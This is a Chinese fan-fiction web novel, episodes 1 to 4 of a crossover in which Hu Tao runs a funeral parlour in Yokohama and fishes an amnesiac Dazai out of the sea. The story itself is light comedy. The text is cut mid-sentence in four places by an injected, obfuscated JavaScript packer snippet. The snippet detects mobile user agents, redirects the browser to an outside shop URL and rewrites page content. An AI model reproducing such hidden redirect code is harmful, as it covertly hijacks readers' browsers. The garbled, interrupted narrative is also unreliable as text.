《往生堂营业中》 1. Episode 1 这个不能吃吧? 「在我的友人死后,我曾亲眼目睹他的亡魂,在眼前一遍一遍跑过。」 「……你想告诉我什么?织田作。」 ***** 众所周知,横滨向来不是什么正常的城市。 黑手党盛行,怪事频发,偶尔还能亲眼见证炸.弹爆破,又把谁家的摩天大楼炸成一朵盛赞的‘烟花’。 对此,上到八旬老人,下至七岁小学生表示,问题不大,他们都习惯了。 但即便如此,此刻发生的情况,也未免太抽象了一点。 “大叔,真的不再考虑一下吗?” 人来人往的商店街内 身穿黑白横纹T恤的金发少女伸手,如同一个尽职尽责的销售员,坚持把宣传单塞到店主面前。 少女长着一张白皙可爱的容貌,但配上她面无表情的脸庞,死掉一样灰暗的蓝色眼瞳,以及毫无感情起伏的声线…… 实在没法让人昧着良心,说出可爱两个字。 更何况,还要加上对方跟背诵悼词似的广告语—— “往生堂限时大酬宾,购一送一,购二送三,多购多得。现在订购,我们堂主还推出了火化人心的团购套餐。” “一次满十人,再享七折优惠。” “……” 店主瞅着面前花里胡哨,印着各种小喇叭的宣传单,嘴角止不住抽搐。 嗯,优惠。 凭良心说,确实很优惠。 这价格基本已经告别了盈利,让人忍不住怀疑,那位堂主到底能不能赚到钱。 但他只有一个问题—— 没记错的话……往生堂是替人处理‘后事’的地方吧?谁好人家会闲着没事给自己提前买棺材,预订殡葬服务啊?! 还多购多得,满十人七折…… 干什么?干什么?这是打算让他在临死前,先把一家人从土里挖出来,赶在保质期前凑份子一起烧吗! “不用担心。” 像是看出店主大叔心中的腹诽,金发少女无视了对方青筋直跳的额头。 她熟练地侧身,从随身挎包里又掏出另一张宣传单,声线平铺直叙,里头全是背诵,没有一点点技巧。 “我们堂主说了,往生堂出品,质量有保证,不用担心棺材会比你先坏掉。” 店主大叔:“……” 店主大叔用力深呼吸,看上去非常想抄起旁边的扫帚,把面前读不懂空气的烦人鬼撵出去。 可惜……他不敢。 如果‘推销员’只是眼前这个弱不禁风的女孩子还好说。麻烦就麻烦在,对方的旁边,还站着一个怪人。 青年看着不超过二十岁,脸上缠满绷带,只露出两只眼睛和黑发,仔细观察,依稀能看见绷带底下严重烧伤的皮肤。 他穿着奇怪的红裤子和连帽衫,眼神凶恶,浑身散发着杀人鬼的不良气息。 老实说,让人看了想报警。 店主大叔战战兢兢地抬起头,瞅了眼站在少女身边,全程居高临下瞪着自己的绷带怪人。 两秒后,他识相地缩回伸向扫帚的手,憔悴地抹了把脸。 “不是这个问题……” 店主大叔疲惫叹气,就差把‘求求你们快走吧’几个大字写在脸上了。 “总之,不需要,我这里是正经的火锅店,也早没了团购殡葬服务的亲人……求你们了,去别家吧,快走快走——” 这和赶瘟神没两样的动作…… 某个绷带怪人的眉心一跳。 他‘哈?’地一声拔高语音,神情凶恶地张嘴,还没来得及说话,就被少女轻轻牵住了手腕。 “扎克。” 金发少女侧过脸,对同伴摇了摇头,示意对方不要冲动。 与绷带男性相比,少女的身形娇小,身高堪堪到对方的肩膀。男人只需要张开五指,就能轻而易举地捏住她的脑袋,把人提溜起来,横着丢出去。 然而神奇的是,在听到这一句后,绷带怪人竟然真的安静了下来。 叫做‘扎克’的青年垂下眼。 他先是盯着搭在自己手腕处的细瘦指尖看了一会儿,随后,青年像是顾及什么,‘啧’地一声用力撇头。 一副‘随便你,老子不管了’的模样,充满了被主人扯住缰绳的恶犬即视感。 另一边,见到危机解除,躲到收银台后的店主这才敢小心探头,望着两人离开的背影,长长舒出一口气。 「往生堂」,擂钵街的葬仪组织。 自称‘堂主’的负责人是个十七岁左右的小姑娘,疑似来自异国,刚才的两人则是对方的员工。 以上,就是商业街店主们知道的全部。 一开始,众人并没有将这个突然出现的葬仪组织放在心上。 活人的生意不好做,死人的就简单了吗? 其中涉及的门道规矩数不胜数,更遑论是在擂钵街,店主还是个看起来娇生惯养、涉世未深的小姑娘。 有好事人打赌,最多三天,这个「往生堂」,连同那个叫‘胡桃’的堂主,就会被擂钵街的人渣撕扯得一干二净,连骨头都不剩。 结果,一个月过去了,「往生堂」非但没有倒闭,生意反而还有欣欣向荣的趋势,店内甚至多出了两个同样来历不明的异国员工! 没人知道那位堂主是怎么做到的,但结果摆在眼前,毋庸置疑。 除此之外,还有一则奇怪的传闻在横滨悄然盛行—— 【往生堂的客人,不止有活人。】 【如果不怕死,可在午夜时分将死者的名字写在纸条上,塞入「往生堂」的门缝,不日,就能见到死去之人的鬼魂。】 先不论对这条传闻信以为真的有多少,那位堂主倒是从未主动澄清过什么。 唯独在被问起时,自称堂主的少女才会摆着手,笑嘻嘻地开口, “嘿嘿,这世上哪有那么多稀奇鬼怪,都是无凭无据的事儿。” “比起这个,我们新推出了超~豪华的‘往生堂一日体验会’,从送灵到火化,详尽有趣,应有尽有!保证能解答客人的疑惑!” “怎么样怎么样?要来一套试试吗?” “来试试吧!百闻不如一见哦!” 打听消息的人:“……” 不了不了,提前‘往生一日游’什么的,听着就很可疑,他还想多活几年。 询问的人疯狂摇头,扭头的速度比跑还快,就跟背后有幽灵在追似的。完全没看到身后,某个再次推销失败的堂主小姐,遗憾叹气的小眼神。 **** “话说回来,那家伙人呢?” 业务拓展失败,回往生堂的路上 打工仔一号,扎克觑了眼同伴手里花里胡哨的宣传单,受不了地移开目光,语气不耐烦, “让我们去推销见鬼的业务,她自己又跑哪儿偷懒了?” “不是偷懒。” 金发少女,打工仔二号,瑞伊·加德纳说道,“阿桃说情况紧急,她去处理个正事。” “……正事?什么正事?” 扎克半信半疑地挑起眉,怀疑自家小伙伴又被忽悠了。 果然,下一秒,只见金发少女一边收起宣传单,回忆地抬起头,开口就是一段胡堂主经典的胡说八道,连抑扬顿挫的语气都模仿得惟妙惟肖。 “昨夜星天璀璨,月相壮丽,本堂主掐指一算,北边海港必有大鱼出没!哎呀,真是个垂钓吃水煮鱼的好日子!” “——阿桃是这么说的,然后天一亮,她就带着钓竿出门了。” 听完全程的扎克:“……” 有那么一秒钟,他竟然真相信了那家伙口中的正事…… 嘴上说着‘大鱼上钩’,结果绕了一圈,这不就是去偷懒钓鱼吗?!连借口都懒得找! 怎么回事?她是上了年纪的老头吗? 就算是偷懒,也好歹挑点符合年轻人的事啊!谁家正值青春的小姑娘整天提着个水桶,没事往闹鬼的海边凑! 扎克无语扶额,内心的吐槽有如海啸般滔滔不绝,但槽点过多,愣是一时半会儿找不到下嘴的地方。 谈话间,路上行人的喧闹逐渐褪去。 很快,周遭的热闹就被另一种微妙的气氛取代。 扎克和瑞伊的出现仿佛一个信号。 两人的身影踏入擂钵街的刹那,道路两旁的空气随之一静。 明面上的打量,暗处的观察…… 一瞬间,无数目光如有实质般从各处射来,忌惮地落在两人的身上,隐约还能听见一些不怀好意的窃窃私语。 “是往生堂的人……” “他们的首领不在,就两个人,我们要不要——” “……不行,那个绷带头也是个不折不扣的怪物,几个兄弟都——” 【嘁,这群垃圾!】 走在前头的扎克危险地眯起双眼,但碍于自家同伴还在场,暂时忍了下来。 扎克脚步微微一顿,身影慢上一步,将落向女孩的视线尽数隔绝在外。 与此同时,一栋双层的房屋,出现在擂钵街的拐角尽头。 房子两边的屋檐如飞鸟展翅般翘起,朱红的房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14257661|151613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柱,绿色的斗拱瓦片。房屋前方的空地上,立着一个木质架子,上面挂满了用细绳串起来的空白木牌。 风一吹,木牌顿时如风铃一般摇晃摆动,发出悦耳的木质碰撞音。 充满古色的建筑设计风格,在参差杂乱的贫民房中显得尤为扎眼。 一如同这栋建筑的名字,「往生堂」。 作为往生堂的员工,瑞伊早已习惯了加诸在身上不友善的目光。只不过这一次,她没有像往常一样推开大门而入,而是在门外停了下来。 “怎么了?”扎克挑起眉,感到奇怪地问道。 “有一张纸条。” 说话间,瑞伊蹲下身。少女细瘦的指尖探出,从门缝中缓缓夹出一张纸片。 纸条? 护在后方的扎克垂头扫了一眼,随即露出了然的神色。 哦,又是这种东西。 ——“在午夜时分,将死者的名字写在纸条上塞入「往生堂」的门缝,不日,就能看到死去之人的亡魂。” 拜这条莫名其妙的传闻所赐,他们还真没少收到奇奇怪怪的小纸片。 上面不是用红墨水诅咒一样写着某个人的名字,就是把往生堂当成了奇怪的许愿池。 事实上,这条传闻有一个原始版本—— “有需要的客人请到「往生堂」门前,取下空白的木牌,写上委托内容后,从门缝塞到堂内。” “根据牌子上的要求,无论是讣告、火化还是葬仪,「往生堂」都会做到让客人十分满意。” 这本来是「往生堂」一开始的‘下单规矩’。结果几经流言后,门前的木牌无人理会,反倒是这种稀奇古怪的小纸片层出不穷。 该说这里的人脑子有问题,还是喜欢找刺激? 想到这,扎克无语地翻了个白眼,看向那张纸条上的内容。 但这一次,情况出人意料。 无论留言的人是谁,这一回,对方竟然认真地在纸条上,用钢笔写下了一行工整的字迹,包括死者的名字和委托内容。 纸条上的内容是—— 【请给他一个告别葬礼,送别织田作之助】 **** 与此同时,另一边 “哦哟?哦哟哟?是大鱼!大鱼上钩啦!” 港口海边,就在往生堂又接到了一张奇怪小纸条时,坐在小板凳上的胡桃像是感应到什么,猛地站起身,用力抓紧了手中的钓鱼竿。 “这、这个重量……莫非是黑鱼?还是大口黑鲈鱼?” 疑似偷懒的胡堂主兴奋地睁大眼睛,两眼闪闪发光。 如果是黑鱼就最好啦! 把干煸的辣椒磨成粉,加蒜泥、葱段拌匀,再加盐、醋、酱油,最后舀上一勺滚烫的热油,往鲜嫩的鱼肉上那么一浇! 嘶,再配上一叠水晶虾饺,可谓是热辣飘香,人间美味啊! 拽着鱼竿的少女越想越馋,一双漂亮的梅花红瞳都快变成水煮鱼的形状。 咕咚。 胡桃用力咽了口口水,两手握住几乎快绷成弯月的钓竿。她单脚在石柱上用劲一踩,在美食的诱惑下爆发出堪比金刚的力量! “看我力拔山兮,气盖世!来吧!本堂主的水——煮——鱼——!” “喝!” 随着少女的一声清呵,绷紧到极致的钓竿被使劲一扯,鱼线顿时嗡嗡作响,几乎断裂。 就在鱼竿即将到达极限,当场报废的刹那,终于—— “哗啦!” 一个黑色的长条物体缠着鱼线,破水而出! 一时间,岸边溅起水花无数,水珠在阳光下闪闪发光。 “哦!本堂主的水煮——” 海岸边,胡桃开心地扬起嘴角。 然而,还不等她的脸上浮现出笑容,下一刻,那个黑色的长条物体就‘啪叽’一声,正好鱼线断裂,掉在了胡桃的脚边。 那不是活蹦乱跳的黑鱼,而是—— 黑色的外套,裹着一个瘦弱的天然卷少年。 因为溺水的关系,少年的双目紧闭,看着大概十八岁的年纪。 他的手臂上缠着绷带,额头淤青,是新撞的伤口。黑色的额发被海水浸染,湿漉漉地贴在少年清秀英俊的脸上,衬得对方的脸色愈发惨白可怜。 突然就没了一顿大餐的胡桃:“……” 等等?这是不是,和说好的不太一样? 黑发,黑鱼。 嗯,虽然颜色都差不多,但这个不能吃吧? 换句话说—— 她热辣鲜香的水煮鱼啊啊啊! 2. Episode 2 这是碰瓷! 哎,麻烦了。 这是胡桃在仔细检查了一遍面前的‘尸体’后,得出的结论。 呼吸规律,心跳正常,嗯,人还有气。 可惜,她没手机。 所以……这边昏迷的急救办法是什么来着?人工呼吸? 某个向来只擅长埋人,不擅长治人的堂主小姐手指捏住下巴,看着地上不省人事的少年,陷入了深深的凝思。 三秒后,黑发少女果断放弃了自己瞎捣鼓的想法,决定把人交给专业的医院。 就是这运人的办法—— 胡桃站起身,抬头打量了一眼四周。 这里本来也算是热闹的港口区域,但由于半年前,横滨那场持续数月的黑.帮混战,现在基本处于废弃状态。 再加上此地时不时冒出的‘闹鬼事件’,成功让这一带仅存的人员都跟着搬离,彻底荒废了下来。 人影没见到一个,废弃的集装箱和运货的三轮板车倒是剩下不少…… 等等,三轮板车? 在看到一辆歪斜在路边的三轮板车时,胡桃的两眼顿时一亮,想到了一个绝妙的主意。 “——可以把人拖到板车上送去医院。” “这个小哥在这里落水,说明很可能住在附近。路上稍微吆喝两句,说不定还能碰到认识他的熟人,如果能引来警察就更好了……” 胡桃扶着下巴,越说越觉得有道理,当即一锤掌心,拍板决定, “好!就这么干!” 让她想想,以前璃月港的商贩都是怎么吆喝来着? “咳哼,新鲜的病人啰!” “瞧一瞧看一看咧,在北边海港落水的新鲜病患。有谁认识他吗?认识的人请速到横滨医院急诊科!” 嗯,声音洪亮,音调完美,不愧是她。 胡桃满意点头,动作利落地把三轮车扶起牵到海边。 某个还躺在地上,安详闭眼的病患:“……” 随着“吱嘎”一声,三轮车应声停下,就在胡桃弯下腰,准备把人拖到板车上时—— “……咳,咳咳。” 地上,本该昏迷不醒的‘病人’突然咳嗽两声,非常及时地睁开了眼睛。 “哦!你醒啦?” 胡桃见状,当即惊喜地收回手,一副万事大吉,麻烦解决的口吻, “太好了!你还记得发生了什么吗?有没有哪里不舒服,你家在哪里?” “我……” 或许是还没从溺水的冲击中缓过神,刚苏醒的黑发少年看上去有点呆呆。他迟钝地眨了一下眼睛,鸢色的瞳眸带着一种清澈的迷茫。 然后,他转头对上胡桃的双瞳。 四目相对间,谁也没说话。 足足三秒的静默后,此人终于开口,在胡桃的注视下,说出了一句让后者大受震撼,深感不妙的发言—— “我不知道,我不记得了。” “你是谁?我……又是谁?” “诶?诶——?!” 胡桃一惊,顿时瞪圆了眼睛,满脸不可思议,“不记得了?” “你再仔细回想一下,真的、真的什么也不记得了?!至少自己的名字总有印象吧?” “名字。” 听到胡桃的回应,黑发少年的睫毛微微一动。 下一秒,他沉吟地垂下眼睛,目光在四周游移了一圈,在看到胡桃脚边断裂的鱼线时,突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14257662|151613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然顿住不动了。 “你想起了什么?”胡桃警惕地开口。 不知为什么,她突然有一种很不好的预感。 果然—— “……鱼钩。” 鸢眼少年像是终于反应过来。 他‘嘶’地一声抬起手,有点痛地碰了碰额头上的伤口。 “我想起来了。在水里的时候,我好像被鱼钩一样的东西缠住,想要挣脱,又被一股力道拖着撞了好几下——” 少年说到这暂停了一秒,缓缓看向了胡桃脚边的鱼竿, “说起来,你这个鱼竿是不是……” “不是!” 刚刚还力拔山兮的堂主小姐一个激灵,一秒肃起脸,语气正义凛然地说道, “实不相瞒,这个鱼竿从今儿早上起就在这了,我什么也不知道。” “哦。” 鸢眼少年平静地点了点头,一副我相信你的模样。 然后就在话音落地的第二秒,他像是再度反应过来,又不紧不慢地补上一句, “恕我冒昧,这位小姐,那你是怎么肯定,这个鱼竿从早上起就在这里的?” “你不是什么也不知道吗?” 听听这无辜又好奇的语气,看看这真诚又不作为的清澈眼神。 胡桃:“……” 胡桃:“………………” 这一刻,某个堂主小姐冷静地双臂环胸。少女神情肃穆,严肃得仿佛即将主持一场盛大的国会葬礼。 麻烦了。 她好像遇上了传说中的【碰瓷】。 最要命的是,在这一场‘事故’中,她好像、似乎、也许,真的要负上那么一点点法律责任。 3. Episode 3 登堂入室 尽管眼前这个是显而易见的大麻烦,但介于某个‘失忆人士’的神奇操作,以及堂主小姐活蹦乱跳的良心,于是乎,半小时后—— “哦,所以呢?” “这就是你大鱼没钓到,还什么乱七八糟的东西都敢往回捡的理由?” 往生堂内,扎克烦躁地拧起眉毛,一脸麻烦地瞪着不省心的雇主,可以说是非常没有打工仔的自觉了。 “我说老板,你是不是傻?” 绷带头青年瞥了眼客房的方向,确定那个可疑分子正在浴室内换衣服,暂时听不到他们的对话,他索性弯下腰,把脸凑到胡桃面前。 扎克警告地压低嗓音,直接挑明话头, “那家伙一看就不是什么好东西,身上黑心血的臭味,浓得老子三米外都能闻到!就你雁过拔毛,还敢把人往回带?” “怎么回事,你脑袋也被撞了?” 扎克不客气地质问。 他以为这么说,能让不靠谱的堂主小姐意识到事态的严重性,如果能把人丢出去,那就再好不过。 然后下一秒,他如愿见到胡桃严肃起脸,开口一句,“错了。” “哈?” 扎克挑高眉,还不等他继续输出,就看到胡桃竖起食指,语气认真地纠正, “小克啊,你刚刚的成语用错了。” “这里不该用‘雁过拔毛’,而是该说‘艺高人胆大’才对。” 扎克:“……” 扎克额头的青筋一跳,“谁和你说这个!你就不能关注一下重点吗!” “这怎么不是重点?” 堂主小姐袖手,悠悠开口,“常言道,知识就是力量。小克啊,你也该——” “喊谁小克!老子有正经名字!” 扎克没好气地打断下文,气得都快当场破音了。他简直想手动剖开某堂主的脑袋,看看里头到底装了什么。 其他也就算了,万一那个可疑分子连累到瑞伊……啧! 自诩靠谱的成年男性恨铁不成钢,但他显然忘记了一件事。 严格来说,他和瑞伊都是胡桃从尸体堆里捡回来的可疑分子。就危险程度而言,即使比不上某个‘失忆人士’,但也半斤八两。 “没关系,我相信阿桃。” 争执间,瑞伊从厨房走出,把一杯泡好的茶水递到胡桃手边,“阿桃这么做,一定有她的道理。” “嘿嘿,谢啦。”胡桃笑眯眯地接过茶水。 “而且——” 另一边,瑞伊话没说完。 她抱着托盘仰起头,一双灰蓝色的瞳眸笔直地对上青年,“而且,扎克,你会保护我的,对吗?” “我们互相发过誓,你会杀死我,也只有你能杀死我。” 扎克:“……!!” 金发少女猝不及防的一句,让某个暴躁的青年瞬间一哽,就跟突然被猫叼走了舌头一样,半天发不出声音。 二比一。 最后,青年只能重重‘嘁’了一声,转身往窗台边一坐,抱着武器镰刀,背对众人生闷气。 出现了,往生堂的特产—— 每日必上演一回的笨蛋情侣必杀狗粮。 桌边,胡桃淡定地喝一口茶,显然早已习以为常。 比起浴室内那个身份不明的‘失忆人士’,胡桃更关心另外一件事。 “瑞伊,拜访潜在客户的事情怎么样了?成功了吗?成功了吗?” 胡桃期待地瞅着自家员工,漂亮的梅花瞳内充满了希望。 可惜,在‘业务拓展’这方面,往生堂迄今为止的战绩屈指可数。 倒是由于太过烦人,他们都快和横滨警局混成了熟人。 胡桃对此倒是很满意,表示,“没关系,警察正好属于高危职业,执行公务期间难免遭遇危险,这叫未雨绸缪,提前布局!” “干得漂亮,瑞伊!你真棒!” 某个堂主小姐说着,还不忘了给自家员工竖起一个大拇指。 彼时,在一旁的扎克:“……” 还真被忽悠个彻底,当场办理了一张贵宾会员卡的值班警察:“……” 不过很遗憾,菜鸟警察好忽悠,精明的火锅店老板就没那么容易说服了。 “店主大叔说不需要,他一个孤家寡人,用不上团购优惠套餐。” 瑞伊眼都不眨地美化说辞。 窗台边,看似生闷气不理人,实则竖着一只耳朵偷听的扎克:“……” 等等,那个大叔是这么说的? 他怎么记得对方讲的是,他们家是正经的火锅生意,不需要…… 扎克张了张口,欲言又止。但在看到两人一个敢说,一个敢信的表现后,他索性闭上嘴,放弃了挣扎。 算了,反正也没差别。 “孤家寡人啊……” 倒是胡桃在得到答案后,若有所思地扶住下巴,不知道又在琢磨什么。 就在这时,一个脚步声从客房的方向传来。 显然,某个‘失忆人士’换好了衣服,正朝这边靠近。 几乎是脚步响起的瞬间,原本还恹恹地窝在窗台边的扎克顿时神情一凛。 他就跟嗅到恶徒气息的黑犬似的,‘咻’地竖起另一只耳朵,警惕地望向来人的方向。 面对如此不友善的目光,太宰治不以为然,反而眨了一下眼睛,冲扎克露出了一个堪比暖阳的纯良笑容。 嗯,表面礼貌友善,实则气人指数拉满。 扎克:“……” 艹!他敢拿自己的镰刀发誓,这家伙绝对不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14257663|151613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是好东西! “对了,阿桃,还有一件事。” 桌边,瑞伊没有理会两位男士幼稚的对峙。 她像是想起什么,从挎包里拿出一张眼熟的纸条,递给胡桃, “这是我和扎克回来时发现的,就夹在往生堂的门缝里,应该算是订单。” “客户身份不祥,但他希望我们能帮他办一场告别葬礼。死者名字,是织田作之助。” 织田作之助? 胡桃看了一眼纸条上的名字,表示没什么印象。 不过这个字迹……倒是挺眼熟的。 在捡到瑞伊和扎克以前,往生堂很长一段时间接到的订单,都是这个字迹主人提供的。 大部分都是没有亲属遗族,孤身一人的死者。 在小殓以前,他们的证件、钱包、手机,钥匙……任何能追溯身份的物件,都被先一步取走,连手上的指纹都被人用特殊的胶水抹去。 除了委托人提供的姓名外,什么也没有。 但,也幸好还有一个名字,那些死者才不至于沦为所谓的‘无名孤魂’。 彼时,接到订单的胡桃没有多问,很快就为死者举行了葬礼,将‘人’送走。 至于这些死者生前的遭遇—— 尸体上的枪伤,处理证物的手段,再加上当时笼罩横滨数月的黑.帮混战……答案不言自明。 而这一次,往生堂甚至没有收到‘织田作之助’的尸体。 “阿桃,现在要怎么办?” 瑞伊微微皱眉,一向毫无波澜的脸上难得表现出棘手的情绪。 少了关键的尸体,别说后续的丧葬了,他们连第一步殓尸都做不到。 胡桃垂着眼睫没有说话。 这一刻,屋内的空气仿佛被抽离般骤然安静了下来,忙着警惕某个可疑分子的扎克都忍不住侧头,移开视线。 也就是这个时候,扎克注意到了太宰治的变化。 少年穿着烘干的宽松衣物,微卷的黑发蓬松的翘着,裸露在外的手臂和脖子缠着绷带。 这本是瘦弱而无害的姿态,然而,昔日的‘杀人鬼’却一瞬间寒毛乍起,一股强烈的危机感猛地攥住他的神经。 但事实是,太宰治什么也没做。 此刻,他只是收起了脸上多余的表情,就像一个遵循气氛的普通人,鸢色的眼瞳跟着众人一起望向胡桃。 少年的眸光冰凉,里头分明毫无情绪起伏,却让人下意识地联想到细密的蛛丝。 安静地隐匿在不起眼的空气中,在阳光下折射出危险的光芒。 如同某种毫无感情的审视,蛰伏起细微的怒意,耐心地等待一个答案。 【是啊,要怎么做呢?】 【关于这一点,他也很想知道。】 4. Episode 4 是故意还是不小心 对于身处擂钵街,这里必须要着重划横线,强调一个严禁事项—— 在别人的地盘,对别人的主家露出这样的眼神,不亚于是踩着底线大鹏展翅,挥舞着刀尖跳踢踏舞。 这是明目张胆的挑衅。 于是,接下来的发展也就顺理成章。 【……这个家伙!】 面对太宰治疑似暗藏杀意的目光,比胡桃更快的,是扎克的反应。 “你找死!” 青年暴怒的厉喝如骤袭的闪电。 几乎是怒吼炸开的刹那,一道危险的利刃就在扎克的手中显现。 那是一柄足足一米长的巨大镰刀,刀刃通体漆黑,挥动的瞬间,在屋内的灯光下折射起令人胆寒的白光厉芒。 太宰治甚至没来得及看清对方挥刀的动作,仅仅是一个眨眼的功夫,镰刀的刀刃已经撕裂空气,裹挟着可怕的破音,朝着他的额头狠辣砍来! 无限逼近的刀光中,太宰治几乎嗅到了刀刃上残留的钢铁气息。 “……扎克!” 往生堂内,最先响起的是瑞伊慌乱的喊声。 瑞伊骇然起身,想要阻止突然暴起的同伴。 然而,比她更快的,是胡桃。 同样是肉眼无法捕捉的速度—— ——铃。 随着一声仿佛蝶类扇动翅膀的清脆响音,一个纤细的身影如灵态的蝴蝶瞬息而至,闪现在太宰治的身前。 随后,胡桃轻轻一抬手—— “铛!” 少女白皙脆弱的手指与镰刀相撞,触碰的瞬间,竟然发出金石交砾的响声。 挥动的镰刀被夹住刃口,生生停在了距离太宰治的眉心一寸的位置! 被护在后方的太宰治猛地睁大眼睛。 但他的目光依旧没有移向刀锋,而是至始至终,都停留在黑发少女的方向。 近在咫尺的距离,让他能清晰地看清胡桃的一举一动。 少女捏住刀锋的手指、被气流向后吹起的头发、平静的侧脸,以及因为抬手的动作,宽松的袖口向下滑,露出的一截细瘦手腕。 灯光下,一条小小的红色珠串戴在胡桃的腕间,映着玉石独有的内敛光华。 太宰治看着那条珠串,目光微动。 一个只有组织内的极少部分人,才知道的秘辛。 在Port Mafia,有一条价值不可估量的宝石线路。它以横滨的港口货运航线为核心,不分昼夜地向国内外输送着闪耀昂贵的珠宝钻石。 称它是港口黑手党的血脉,每一秒都流淌着黄金也不为过。 整个组织的人都知道,这条线路被首领交到了那位武斗派干部,中原中也的手中。但只有极少数的人才清楚,这条珠宝线路最开始,其实是由另一位干部单枪匹马谈下的。 仅凭一己之力,无愧于史上最年轻干部的称谓。 也因此,凭借着这一分眼力,太宰治一眼认出了胡桃戴在腕间的珠串。 那是‘赤玉’,也叫南红玛瑙。 在另一个国家,它拥有平息瘟疫,驱散邪祟的古老传闻,与黑色戒指一样,同属于鬼神灵异的寄托之物。 有趣的是,这位常年与葬仪打交道的堂主小姐,所行之事,又恰好与这些最为接近。 “欸呀,别这么紧张嘛。” 胡桃捏着刀刃笑嘻嘻开口,语气轻松得仿佛周遭沉重的杀机不存在一样。 “来者是客。” “小克啊,对客户动手,不是咱们往生堂的待客之道哦!” 扎克:“……” 客?哈!去他【*往生堂甜言蜜语】的待客之道! 这家伙算个鬼的客人! 见自己的武器被钳制住,焊死般动弹不得,扎克冷笑一声。 但他还是如胡桃所愿,在少女松开的力道下收回武器,嘴上还不忘嗤笑一句, “行,算老子多管闲事,等被算计到坑里,别怪我没提醒过你。” “嘿嘿。” 胡桃没有在意青年暴脾气。 她转过头,先是对惊魂未定的瑞伊俏皮地眨了一下眼睛,权做安抚,随后,又仔细瞧了一眼身后的太宰治。 在确认对方毫发无伤后,少女变魔术似地从袖子里掏出一支笔,随手翻过纸条的背面,写下一串购物清单。 “瑞伊,麻烦你和小克去一趟中华街,买点东西。” “都说了,不准叫老子‘小克’!老子有名字!” 一个火大的吼声从旁边强势插.入。 可惜,堂主小姐充耳不闻,径直把购物单递给另一位可靠的员工, “具体就是焚香驱邪那一套,我教过你的。” “明白。” 金发少女乖巧点头,和某个暴躁的成年男性相比,简直是安静又可爱的天使。 安排好最重要的事项,接下来的,就是这边的麻烦。 “至于你——” 胡桃转头看向太宰治,刚想开口说什么,但在对上少年鸢色的瞳眸后,她又‘唔’地一声,手指扶着下巴,露出了有点难办的神情。 “有什么需要帮忙的吗?” 某个‘失忆人士’见此,重新挂起笑容,一副听从安排的表现。 “你的话……” 胡桃保持着沉思的表情,视线在太宰治手臂上的绷带,和扎克脸上的绷带来回移动,下一秒,她脑袋上的灵感灯泡‘啵’地一下,亮了起来。 “我明白了!” 胡桃右手成拳一锤掌心,对太宰治说道, “那个——约翰啊,麻烦你和本堂主跑一趟。放心,往生堂会负起责任的,一定解决你的问题。” 太宰治笑容微僵:“?” 其他就算了,但是……‘约翰’? 这该不会是在喊他吧? 一旁的扎克:“……” 艰难地忍耐三秒,青年还是没忍住大声吐槽, “结果绕了一圈,你就是在纠结这家伙的称呼吗!约翰是什么鬼?你怎么不干脆喊他杰克算了!” “哈哈哈,我这不是想着一起行动,有个称呼比较方便嘛,总不能一直‘你啊你啊’的喊人。” 胡桃摸着脑袋,笑容开朗地说道。 “啊,如果不喜欢‘约翰’的话,没关系,本堂主这里还有很多备选!” 某个堂主小姐冲众人竖起大拇指,充分展现了什么叫做善解人意,有商有量, “比如,阿才、建发、富强、简·杜……应有尽有,任君挑选!” 瑞伊:“……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14257664|151613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等一下,刚刚是不是……有个女人的假名混进去了? 眼看着自己的称呼逐渐抽象化,太宰治赶紧开口,“咳,不用麻烦胡堂主了,约翰挺好的,我很喜欢。” 胡堂主。 这大概算是太宰治自从睁开眼以来,对黑发少女的第一句正式称呼。 然而有趣的是,不管是胡桃、瑞伊还是扎克,三人从头到尾都没有介绍过自己的全名,那么问题来了—— 作为一个初次见面的失忆患者,太宰治又是从哪里知道这个姓氏的? 待客厅内,瑞伊灰蓝的眼瞳微微眯起,神情沉静。 “哎呀,你很有眼光嘛!” 另一边,胡桃双手叉腰,满意点头,仿佛一点也没察觉到其中的不对劲。 “多谢夸奖。” 太·暂命名约翰·宰微笑,从善如流地接受夸奖。 往生堂内,三人气氛和谐,两人言笑晏晏。 